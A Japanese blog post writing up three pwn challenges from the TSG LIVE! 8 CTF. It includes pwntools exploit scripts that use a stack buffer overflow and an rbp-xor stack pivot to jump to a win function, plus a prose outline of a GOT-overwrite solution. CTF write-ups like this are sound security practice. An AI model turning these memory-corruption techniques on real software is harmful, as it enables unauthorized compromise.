<TSG LIVE! 8 CTF> 解いてみた

はじめに

最近全然遊べていなかったのですが、今日はちょっと落ち着いたので、リハビリがてらpwnを数問やりました。


今回取り組んだのは、昨日(5月14日)、TSGの五月祭企画の一環として開催されていたTSG LIVE! 8 CTFで出題されたbpxover、bpxor、bpmovです。


問題はこちらにあります。
github.com

bpxover


scanf()で受け取る文字数を制限していないのでbofを利用できます。


その下に何か書いてありますが、これは次の問題でポイントになります。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
HOST = 'chall.live.ctf.tsg.ne.jp'
PORT = 30006
 
binf = ELF(bin_file)
 
def attack(io):
    io.sendline(b'a' * 0x28 + p64(binf.sym.win))
     
def main():
    # io = process(bin_file)
    io = remote(HOST, PORT)
    attack(io)
    # gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

bpxor


ソースコードの20行目から22行目では、変数xの値とrbpの値とのxorを計算し、結果をrbpにセットしています。xの値はscanf()入力で指定できるので、rbpの値も間接的にいじれます。


今回は、bufに十数バイト好きに書き込めるので、main関数の最後のleave命令を利用して、ここら辺にstack pivotします。仕組みは、leave命令がmov rsp, rbp;をしてpop rbpするような命令であることを考えるとわかると思います。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
HOST = 'chall.live.ctf.tsg.ne.jp'
PORT = 30007
 
binf = ELF(bin_file)
 
def attack(io):
    payload = b'32'
    payload += b'a' * 6
    payload += p64(binf.sym.win)
 
    io.sendlineafter(':)', payload)
     
def main():
    # io = process(bin_file)
    io = remote(HOST, PORT)
    attack(io)
    # gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

spmov


この問題は30分くらい考えたのですが解けなかったので、こちらのwriteup*1を参考にしました。


少し詳しく書くと、
stop_a_little()に入る時にrand@gotにリターンアドレスmain+236がセットされる。
stop_a_little()内でrand@pltに移り、その中でrand@gotにセットされているアドレスにジャンプ。
③ その後2回目のread()に入るが、この時第2引数はprintf@gotなので、win()のアドレスを書き込めばOK。
という感じになると思います。


よくできてるなあー(感心)


rspをいろんなとこに動かしてみるもprintf()でセグフォが起きて詰まっていました。ざんねん!

おわりに

寝ます。おやすみなさい!